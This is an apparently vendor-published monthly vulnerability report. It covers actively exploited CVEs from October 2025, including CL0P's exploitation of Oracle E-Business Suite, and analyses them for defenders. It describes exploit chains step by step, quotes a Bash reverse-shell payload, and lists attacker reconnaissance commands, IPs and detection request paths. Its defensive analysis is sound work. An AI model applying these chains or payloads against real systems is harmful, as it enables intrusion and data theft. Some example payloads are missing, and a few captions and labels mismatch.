October 2025 CVE Landscape

In October 2025, Recorded Future’s Insikt Group® identified thirty-two high-impact vulnerabilities that should be prioritized for remediation. This represents an increase from the sixteen identified in September, with the number of Very Critical vulnerabilities also increasing (26) month over month.

These vulnerabilities have affected the following vendors: Broadcom, XWiki, Dassault Systèmes, Adobe, Microsoft, Motex, Apple, Kentico, Oracle, IGEL, SKYSEA, Grafana Labs, Synacor, Linux, Mozilla, GNU, Jenkins, Juniper, Samsung, Smartbedded, and Gladinet.

October was dominated by flaws in Microsoft, which represented eight of the thirty-two vulnerabilities, and the CL0P ransomware group’s exploitation of Oracle E-Business Suite (EBS; CVE-2025-61882). CVE-2025-61882 enabled unauthenticated remote code execution (RCE), with potential for web shell deployment, persistence, lateral movement, and data exfiltration. In observed activity, CL0P (or an affiliate) chained multiple flaws to gain RCE, establish persistence, run interactive shells, and pressure victims via extortion emails.

Of the fourteen vulnerabilities we identified that enable RCE, five are more than a decade old. This highlights how attackers can target unretired legacy systems and internet-facing applications where patching has lagged.

Instead, they should prioritize based on observed activity, ensure continuous asset discovery (including legacy systems), and apply compensating controls when remediation is not possible.

Recorded Future Insikt Group®’s CVE Findings from October 2025:

This section analyzes the highest-impact, actively exploited vulnerabilities this month, each with a Very Critical or Critical Recorded Future Risk Score. Where applicable, it also highlights the availability of Nuclei templates created by Insikt Group®, which can be accessed by Recorded Future customers. This section focuses on vulnerabilities with available proofs of concept (PoCs) or technical analyses. It does not highlight vulnerabilities whose public information is limited to a description of the CVE.

CL0P Exploited CVE-2025-61882, an Oracle E-Business Suite Zero-Day Vulnerability, for Data Theft

On October 6, 2025, cybersecurity firm Mandiant’s CTO issued an alert detailing CL0P ransomware group’s exploitation of CVE-2025-61882, a critical zero-day, pre-authentication remote code execution (RCE) vulnerability affecting Oracle E-Business Suite (EBS), specifically the Oracle Concurrent Processing component with BI Publisher Integration, versions 12.2.3 up to 12.2.14. EBS is an integrated suite of business applications that helps organizations automate and manage enterprise processes such as finance, supply chain, human resources, and customer relationship management.

CVE-2025-61882 allows a remote, unauthenticated threat actor to execute arbitrary code by uploading or processing malicious BI Publisher/XSLT templates via Oracle E-Business Suite’s Concurrent Processing/BI Publisher integration, enabling web shell deployment, persistence, lateral movement, and data exfiltration. On October 4, 2025, Oracle released an emergency patch as part of its Critical Patch Update to fix CVE-2025-61882. On October 6, 2025, the United States (US) Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2025-61882 to its Known Exploited Vulnerabilities (KEV) catalog.

Figure 1: Vulnerability Intelligence Card® for CVE-2025-20333 in Recorded Future (Source: Recorded Future)

CVE-2025-61882 stems from a chain of flaws in Oracle EBS that, when chained, enable unauthenticated remote code execution (RCE). The exploitation steps for the vulnerable UiServlet endpoint are as follows:

On October 6, 2025, SANS Internet Storm Center published an analysis of an exploit ( exp.py ), which Oracle identified during incident response efforts following exploitation of CVE-2025-61882. The exploit performs the following actions:

Insikt Group® obtained the following samples shared by Oracle from Recorded Future Malware Intelligence. Insikt Group® has analyzed the samples and assesses that they are certainly the same exploit that was leaked on Telegram, allegedly by the Scattered LAPSU$ Hunters group (see this Threat Lead on the exploit code shared on Telegram).

Sandbox analysis detected the exp.py sample exhibiting discovery capabilities. Based on static code analysis, the script performs the following actions on a victim’s machine:

Sandbox analysis detected the server.py sample as exhibiting discovery capabilities. Based on static code analysis, the script performs the following actions on a victim’s machine:

Additionally, Oracle associated 200.107.207[.]26 and 185.181.60[.]11 with the exploitation of CVE-2025-61882 (GET and POST requests).

Technical Analysis of Oracle E-Business Suite Exploitation Activities Prior to CL0P’s Extortion Campaign

On October 10, 2025, Insikt Group® published the above TTP Instance detailing CL0P ransomware group’s exploitation of CVE-2025-61882. CL0P is a financially motivated cybercriminal group known for its data theft and extortion operations that exploit zero-day vulnerabilities in enterprise software to pressure victims into making ransom payments. On October 9, 2025, Google Threat Intelligence Group (GTIG) and Mandiant published a comprehensive technical analysis detailing exploitation activity linked to a threat actor claiming affiliation with CL0P, potentially involving CVE-2025-61882.

According to GTIG and Mandiant’s analysis, the threat actor distributed emails targeting executives across various industries. The campaign featured compromised third-party email accounts, likely obtained from information-stealing malware logs sold on underground forums, to appear legitimate and evade spam filters. The extortion messages referenced two email addresses, support[@]pubstorm[.]com and support[@]pubstorm[.]net , which had been listed on the CL0P data leak website (DLS) since May 2025. To add credibility, CL0P included legitimate file listings from compromised EBS environments, with timestamps reaching back to mid-August 2025. At the time of writing, no victim data from the campaign appeared on the CL0P data leak website.

GTIG and Mandiant also discovered the following exploitation activities prior to the CL0P’s extortion campaign:

July 2025 “UiServlet” Exploitation:

Mandiant retrieved EBS application logs that showed requests to the /OA_HTML/configurator/UiServlet endpoint consistent with exploitation attempts. The leaked exploit archive analyzed by cybersecurity firm watchTowr (see analysis further below) chained server-side request forgery (SSRF), carriage return/line feed (CRLF) injection, authentication bypass, and XSL template injections to achieve RCE on EBS servers. Example payloads in the leaked exploit archive include a Bash reverse shell, such as bash -i >& /dev/tcp// 0>&1 . Additionally, commands executed after compromise were launched under sh on Linux and cmd.exe on Windows.

Before July 2025 Patch Release:

Mandiant identified HTTP traffic from 200[.]107[.]207[.]26 , suggesting reconnaissance or initial exploitation attempts against Oracle EBS. Internet scan data also revealed a Python AIOHTTP server pattern matching the callback infrastructure observed in the leaked exploit. However, the evidence lacked definitive indicators of remote XSL payload retrieval or command execution.

After July 2025 Patch Release:

Mandiant observed repeated HTTP requests to the /OA_HTML/configurator/UiServlet endpoint from 161[.]97[.]99[.]49 , with several timing out, indicating failed SSRF chaining or incomplete exploit execution attempts.

August 2025 SyncServlet and XML Data Object (XDO) Template Exploitation:

The threat actor exploited a SyncServlet flaw to achieve unauthenticated RCE via the XDO Template Manager on Oracle EBS servers. The operation began with a POST request to the /OA_HTML/SyncServlet endpoint that created malicious templates in the XDO_TEMPLATES_B database table with the payload stored in LOB_CODE/XDO_LOBS. The threat actor then invoked the template via the preview endpoint /OA_HTML/OA.jsp? page=/oracle/apps/xdo/oa/template/webui/TemplatePreviewPG&TemplateCode= &TemplateType=. The stored XSL contained a Base64-encoded payload that decoded into Java classes, which the Java script engine executed.

GTIG observed two Java payloads:

Following this, the threat actor executed reconnaissance commands under the applmgr EBS account, such as cat /etc/fstab , cat /etc/hosts , df -h , ip addr , cat /proc/net/art , arp-a , ifconfig , ping 8.8.8.8 -c 2 , ps -aux , and netstat -an , and launched interactive shells using bash -i that connected to 200[.]107[.]207[.]26 .

Figure 2: Diamond Model of Intrusion Analysis from Insikt Group®’s Technical Analysis of Oracle E-Business Suite Exploitation Activities Prior to Cl0p’s Extortion Campaign, showing MITRE ATT&CK techniques associated with the exploitation activity (Source: Recorded Future)

Insikt Validated TTP: Using Nuclei to Detect CVE-2025-61882, an Actively Exploited Remote Code Execution Vulnerability in Oracle E-Business Suite

On October 10 and October 13, 2025, Insikt Group® published the above TTP Instances ( Figure 2 ) detailing CVE-2025-61882 exploitation activity linked to a threat actor claiming affiliation with the CL0P ransomware group. On October 6, 2025, cybersecurity firm watchTowr detailed the exploitation chain for CVE-2025-61882. The exploitation chain begins with an unauthenticated server-side request forgery (SSRF) in the czUiServlet servlet at /OA_HTML/configurator/UiServlet . A crafted POST request carrying redirectFromJsp=1 and a URL-encoded getUiType XML allows the attacker to control a return_url element. The server then HTML-decodes that value and uses it to initiate an outbound POST request via CZURLConnection.connect() , giving the adversary complete URL control and the ability to issue POST requests from the target.

In Stage 2, the payload uses carriage return/line feed (CRLF) header injection inside the SSRF request. Because the application decodes HTML entities before use, encoded newline characters in return_url become raw \r\n , enabling arbitrary header insertion (for example, Host and Cookie ) that would not be controllable via the URL alone.

Stage 3 leverages HTTP persistent connections (keep-alive) to reuse the same transmission control protocol (TCP) channel. The exploit holds the socket open (for example, by inserting a trailing POST / ) so subsequent server actions occur on the same connection. This makes the exploitation chain more difficult to detect.

With POST-capable SSRF, the chain targets the locally bound EBS HTTP service on TCP port 7201. EBS deployments commonly map something like apps.example.com to a local address in /etc/hosts so the SSRF can direct traffic to . An authentication filter normally blocks direct access to internal Jakarta Server Pages (JSPs; formerly JavaServer Pages) and servlets, but the chain bypasses it via path traversal on the unauthenticated OA_HTML/help/ path. By appending .. / and the target resource, the chain bypasses the authentication allowlist.

In stage 5, the chain pivots to /OA_HTML/help/../ieshostedsurvey.jsp on the internal app service (7201/TCP). The JSP constructs an XSL URL from the request’s host and port, appends ieshostedsurvey.xsl , and then loads and processes it with Oracle’s XSLT processor. Because the Host: header in the SSRF request is attacker-controlled via CRLF, the server fetches the stylesheet from the attacker’s server. Malicious XSL can invoke Java extension functions (for example, via javax.script.ScriptEngineManager ) to execute arbitrary code, enabling unauthenticated RCE. The keep-alive connection ensures the stylesheet retrieval and parse happen seamlessly within the same flow.

WatchTowr provided a detection artifact generator to detect CVE-2025-61882. Insikt Group® created a Nuclei template to detect CVE-2025-61882, which is available to Recorded Future customers. The template first sends a crafted GET request to the EBS help path using .. / to reach ieshostedsurvey.jsp without authentication and verifies success by requiring a 200 response and $Header: ieshostedsurvey.jsp . It then issues a POST to UiServlet with redirectFromJsp=1 and a URL-encoded initialize XML payload inside getUiType . The payload sets a benign return_url parameter pointing to an Interactsh domain. The second step’s matchers expect both valid_configuration and terminate in the response body and an out-of-band domain name system (DNS) interaction, indicating SSRF behavior.

This template verifies two necessary preconditions for CVE-2025-61882: unauthenticated reachability of ieshostedsurvey.jsp via the /OA_HTML/help/.. / filter bypass and UiServlet-driven SSRF evidenced by an out-of-band DNS lookup. It does not attempt the CRLF header injection required to coerce POST requests or spoof Host toward the internal service on port 7201, and it does not trigger the XSLT stylesheet load in ieshostedsurvey.jsp that enables code execution. As a result, it confirms exposure but does not demonstrate RCE. Expected observables are limited to routine HTTP access logs and a DNS lookup to an Interactsh domain; it does not modify database, file, or system state. This Nuclei template is intended for use in authorized environments only.

At the time of writing, there were 1,430 exposed Oracle EBS instances on Shodan , most of which are geolocated in the US, China, Germany, India, and the United Kingdom (UK). However, not all of these are necessarily vulnerable, as their specific versions are unknown.

Insikt Validated TTP: Using Nuclei to Detect CVE-2025-54253, an Actively Exploited Incorrect Authorization Vulnerability in Adobe Experience Manager (AEM) Forms

On October 15, 2025, the US Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2025-54253 to its Known Exploited Vulnerabilities (KEV) catalog. CVE-2025-54253 is a critical incorrect authorization vulnerability in AEM Forms versions 6.5.23 and earlier. Users should therefore upgrade to AEM version 6.5.0-0108 or later. Successful exploitation of CVE-2025-54253 can allow remote, unauthenticated attackers to bypass security mechanisms, read arbitrary files, and execute arbitrary code (RCE).

On July 29, 2025, cybersecurity firm Searchlight Cyber published exploitation details for a pre-authentication Struts2 DevMode chain in AEM Forms, later assigned CVE-2025-54253. The flaw enables unauthenticated Object-Graph Language (OGNL) execution within AEM Forms via the adminui module. Authentication is bypassed by com.adobe.framework.SecurityFilter , which allows requests to pass if the URL contains login. . This exposes adminui.war endpoints pre-authentication.

Struts DevMode is enabled in this module ( struts.devMode="true" ), permitting OGNL evaluation via debug parameters. The following request both satisfies the filter and reaches a DevMode action that evaluates OGNL server-side, which can be escalated to shell-capable RCE using public sandbox bypasses:

Recorded Future’s Insikt Group® created a Nuclei template to detect CVE-2025-54253, which is available to Recorded Future customers. The template first fingerprints the target by sending a GET request to /lc/libs/livecycle/core/content/login.html and checks for Adobe Experience Manager forms in a 200 OK response. It then sends a second GET request to /adminui/updateLicense1.do;login.?debug=command&expression=7*7 , leveraging the Struts developer-mode OGNL evaluator via the debug=command&expression= parameters and using the login. action suffix to reach the action unauthenticated. Successful server-side evaluation is confirmed by a 200 OK with a standalone 49 in the response body (the result of 7*7 ).

This template uses a low-impact proof-of-execution payload that evaluates a simple arithmetic expression via the Struts developer-mode OGNL evaluator. It does not modify configuration, system state, files, or database contents, and it does not invoke external processes or generate outbound network traffic. Expected observables are limited to two HTTP GET requests in access logs, including the query parameters debug=command and expression=7*7 . This Nuclei template is intended for use in authorized environments only.

At the time of writing, there were 418 exposed AEM instances on Shodan , most of which are geolocated in the US, Australia, Germany, Canada, and Ireland. However, not all of these are necessarily vulnerable, as their specific versions are unknown.

Technical Blog and Alleged PoC for Critical Deserialization Vulnerability Affecting Microsoft WSUS (CVE-2025-59287)

On October 18, 2025, cybersecurity firm HawkTrace published a technical blog detailing CVE-2025-59287. CVE-2025-59287 is a critical deserialization of untrusted data vulnerability in Windows Server Update Services (WSUS), affecting the following Microsoft Windows Server versions:

Users should refer to Microsoft’s guidance for CVE-2025-59287 and install the corresponding security update for their Windows Server release. Additionally, users should limit WSUS's network access by allowing only necessary management systems and Microsoft Update to reach their WSUS environment. Block all other inbound connections to TCP ports 8530 and 8531.

Figure 3: Risk Rules History from Vulnerability Intelligence Card® for CVE-2025-59287 in Recorded Future (Source: Recorded Future)

WSUS is a Microsoft server application that enables organizations to centrally manage, approve, and distribute Windows updates and patches across their networked systems. CVE-2025-59287 allows remote, unauthenticated threat actors to execute arbitrary code (RCE) on a vulnerable WSUS server, enabling full system compromise and potential control over update distribution within the network. On October 14, 2025, Microsoft released a security update through its Patch Tuesday program to fix CVE-2025-59287.

CVE-2025-59287 stems from unsafe deserialization within the WSUS application programming interface (API), particularly the EncryptionHelper.DecryptData() method. This method decrypts encrypted WSUS authorization cookies using AES-128-CBC and deserializes the resulting data. However, this method decrypts encrypted AuthorizationCookie data and reconstructs serialized objects using the .NET BinaryFormatter.Deserialize() function without validating input sources or restricting object types.

This unsafe deserialization process enables a remote threat actor to embed malicious code inside crafted simple object access protocol (SOAP) messages sent to the ClientWebService.asmx endpoint. When WSUS processes these messages, the BinaryFormatter function interprets the untrusted payload as legitimate serialized data, allowing execution of threat actor-controlled instructions in the WSUS service context. The lack of input sanitization, type validation, and secure deserialization controls, such as DataContractSerializer or safe type binders, enables unsafe object reconstruction within WSUS. As a result, threat actors can craft malicious serialized payloads that trigger arbitrary code execution within the WSUS service process, gaining elevated privileges and potentially taking full control of the update distribution infrastructure.

HawkTrace also shared an alleged proof-of-concept (PoC) to demonstrate CVE-2025-59287. Based on the repository, once executed, the PoC builds a static AES key from a hard-coded hexadecimal string and stores it in a sixteen-byte array. The PoC then converts a long Base64 string into raw bytes that contain a serialized .NET BinaryFormatter payload crafted to spawn a process through the Windows Command Prompt ( cmd.exe ). , it sends this payload into a custom encryption routine that uses AES in cipher block chaining (CBC) mode with no padding and a zero initialization vector. A random sixteen-byte salt fills the first encrypted block, acting as a pseudo-initial vector (IV) for the rest of the data. The function divides the payload into sixteen-byte chunks, adds a zero-padded final block, and sequentially encrypts each block. The result contains the encrypted salt followed by ciphertext blocks for the entire serialized payload. After encryption, the PoC encodes the final byte array to Base64 and prints the string to the console.

After producing the encrypted payload, an operator can embed the Base64 payload into a SOAP request directed at the WSUS Client Web Service endpoint /ClientWebService/Client.asmx using the GetCookie operation. The request places the encrypted data inside the field of an element under . When the WSUS server receives this request, it decrypts the supplied cookie using its internal AES-128-CBC routine and deserializes the resulting data with .NET’s BinaryFormatter. Since the PoC’s payload contains a malicious serialized object graph, the WSUS service executes arbitrary code upon deserialization.

On October 24, 2025, Huntress identified threat actors exploiting CVE-2025-59287, which involved targeting publicly exposed WSUS instances on TCP ports 8530 and 8531. Threat actors send crafted POST requests to multiple WSUS web service endpoints that trigger a deserialization process within the AuthorizationCookie component, resulting in remote code execution (RCE). Huntress also observed infection chains showing cmd.exe and PowerShell.exe executions spawned from the wsusservice.exe and w3wp.exe binaries. The PowerShell payload decodes a Base64-encoded script that enumerates domain users (for example, whoami and net user /domain ) and collects network configuration details ( ipconfig /all ). Threat actors then exfiltrate the collected data through HTTP and curl.exe requests to threat actor-controlled webhook URLs. Additionally, threat actors use proxy networks to redirect traffic and conceal their infrastructure during exploitation attempts. At the time of writing, Huntress noted approximately 25 WSUS hosts remained exposed and susceptible to the attack.

Technical Blog for High-Severity Zero-Day Improper Access Control Vulnerability Affecting Windows RasMan (CVE-2025-59230)

On October 14, 2025, cybersecurity firm Cyberthint published a technical blog detailing CVE-2025-59230. This is a high-severity zero-day improper access control vulnerability affecting the Remote Access Connection Manager (RasMan) service in all supported Windows versions, including:

RasMan is a critical Windows service that manages dial-up and virtual private network (VPN) connections. CVE-2025-59230 allows a locally authenticated threat actor with low privileges to gain SYSTEM-level privileges on unpatched systems and potentially conduct further malicious activities. On October 14, 2025, Microsoft released a patch to fix CVE-2025-59230. On the same day, the US Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2025-59230 to its Known Exploited Vulnerabilities (KEV) catalog.

CVE-2025-59230 stems from insufficient access validation mechanisms within the Windows RasMan service, which allows a locally authenticated, low-privilege operator to cause RasMan to execute actions using its SYSTEM-level privileges. Specifically, certain RasMan RPC and API handlers accept requests initiated by non-administrative accounts without properly enforcing privilege boundaries. Those requests trigger system-level functions that run within the RasMan service (which runs as SYSTEM). The lack of permission checks allows a low-privileged threat actor to coerce Rasman into performing high-privileged actions, resulting in the escalation of privileges (EoP) to the SYSTEM account.

Cyberthint also shared an attack chain scenario that exploits CVE-2025-59230:

Cyberint recommends the immediate application of the security patch for CVE-2025-59230 and the disablement of the RasMan service if it is not essential. Security teams should actively monitor and analyze the past 30 days of logs for suspicious rasman.exe activity, enforce strict access controls with Local Administrator Password Solution (LAPS) and multi-factor authentication (MFA), and implement endpoint detection and response (EDR) or Security Information and Event Management (SIEM) rules to detect abnormal process creation. They should also train users to recognize phishing attempts, thereby strengthening their overall defense against this actively exploited vulnerability.

Insikt Validated TTP: Using Nuclei to Detect CVE-2025-11371, a Local File Inclusion (LFI) Vulnerability in Gladinet CentreStack and Triofox

On October 15, 2025, cybersecurity firm Huntress published a report detailing in-the-wild exploitation of CVE-2025-11371, a medium-severity local file inclusion (LFI) vulnerability in Gladinet CentreStack and Triofox. CentreStack and Triofox are enterprise platforms that expose existing file servers or cloud object storage as secure, VPN-less cloud file services, providing mapped-drive access, enforcement of AD/NTFS permissions, SSO integration, and native file locking for remote collaboration.

Successful exploitation of CVE-2025-11371 can allow remote, unauthenticated attackers to read sensitive system files, leading to information disclosure. When chained with CVE-2025-30406 (which affects the same products), attackers can conduct remote code execution (RCE) via ViewState deserialization.

The unauthenticated LFI arises from the /storage/t.dn endpoint, which is handled by GladinetStorage.TempDownload in GSUploadDownloadProxy.dll . The handler is intended to return temporary files, but does not properly validate or normalize the user-controlled s path parameter and does not enforce authentication. Because the app typically runs as NT AUTHORITY\SYSTEM , its temp root resolves under C:\Windows\Temp\glad_temp . Using ..\ traversal in s lets an attacker escape that directory and read arbitrary files on the host, including Web.config , which exposes the ASP.NET machineKey and enables signed ViewState payloads and code execution.

In the observed incident, the attackers began by issuing an unauthenticated LFI to exfiltrate Web.config and extract the machineKey. For example:

With the machineKey, the attackers then crafted validly signed ASP.NET ViewState payloads to execute commands. Since the application does not return command output in the response, attackers redirected it to a file and retrieved it via the same LFI. For example:

Recorded Future’s Insikt Group® created a Nuclei template to detect CVE-2025-11371, which is available to Recorded Future customers. The template sends an initial GET request to fingerprint the Gladinet instance. If matched, it performs an LFI check by issuing a GET request to /storage/t.dn and traverses directories to access the win.ini file. It then checks for a 200 status code and a response body containing the [fonts] and [extensions] win.ini markers. This template does not attempt to access the Web.config file that Huntress observed in exploitation activity.

This template performs an unauthenticated file-read check via directory traversal of a non-sensitive operating system file ( win.ini ). It does not modify configuration, write files, execute commands, enumerate directories, escalate privileges, or pivot to other paths, and it does not generate outbound network callbacks. Expected observables are limited to two HTTP GET requests (plus up to three redirects on the initial fingerprint request). This template does not alter the database, file, or system state, or perform additional requests. This Nuclei template is intended for use in authorized environments only.

Users should upgrade to version 16.10.10408.56683 or later. If patching is not possible, disable the temp handler within the Web.config file for UploadDownloadProxy , which is located at C:\Program Files (x86)\Gladinet Cloud Enterprise\UploadDownloadProxy\Web.config .

At the time of writing, there were 1,528 exposed CentreStack instances on Shodan , most of which are geolocated in the US, China, Germany, the UK, and Singapore. However, not all of these are necessarily vulnerable, as their specific versions are unknown.

Recorded Future Risk Scores range from “None” (0) to “Very Critical” (90-99) and can change with new analytics and sources. Insikt Group® identified 1,136 vulnerabilities disclosed in October with Risk Scores of 65 or above (High to Very Critical). The table below lists the 32 vulnerabilities that were actively exploited in October based on Recorded Future® data.

The table below also provides examples of public PoCs identified by Insikt Group®. These PoCs were not tested for accuracy or efficacy. Vulnerability management teams should exercise caution and verify the validity of PoCs before testing.

CWE-94 (Code Injection)

CWE-95 (Eval Injection)

CWE-22 (Path Traversal)

CWE-287 (Improper Authentication)

CWE-444 (HTTP Request/Response Smuggling)

CWE-501 (Trust Boundary Violation)

CWE-918 (SSRF), CWE-93 (CRLF Injection)

CWE-119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)

CWE-787 (Out-of-bounds Write)

CWE-306 (Missing Authentication for Critical Function)

CWE-77 (Command Injection)

Table 1: List of vulnerabilities that were actively exploited in September based on Recorded Future data (Source: Recorded Future)

How Recorded Future reduces risk from CVEs

Timely and relevant information on vulnerabilities in your environment and that of your vendors and suppliers is critical for reducing risk. Find out how Recorded Future can support your team by increasing visibility, improving efficiency, and enabling confident decisions.

Vulnerability Intelligence – Prioritize vulnerabilities based on the likelihood of exploitation – not just the severity. Easily understand the risk of exploitation alongside severity, and real-time contextualized intelligence to help you quickly make confident decisions, patch what matters, and prevent attacks.

Attack Surface Intelligence – Identify internet-facing assets vulnerable to a specific CVE. Attack Surface Intelligence provides an outside-in view of your organization to help you actively discover, prioritize, and respond to unknown, vulnerable, or misconfigured assets.

Figure 4: Signature for CVE-2025-54253 in Recorded Future Attack Surface Intelligence ® (Source: Recorded Future)

Third-Party Intelligence – Gain an external view of the security posture of your vendors and partners. Eliminate time-consuming research and vendor communication cycles with the ability to promptly assess vulnerabilities in their internet-facing systems.

Insikt Group® – Receive access to exclusive reports on new vulnerabilities and trends from Recorded Future’s team of experts, the Insikt Group®. Download Nuclei templates created by Insikt Group® for select CVEs to test potentially vulnerable instances.

Recorded Future’s Insikt Group® threat research team is comprised of analysts, linguists, and security researchers with deep government and industry experience.

Insikt Group® publishes threat intelligence to the Recorded Future analyst community in blog posts and analyst notes.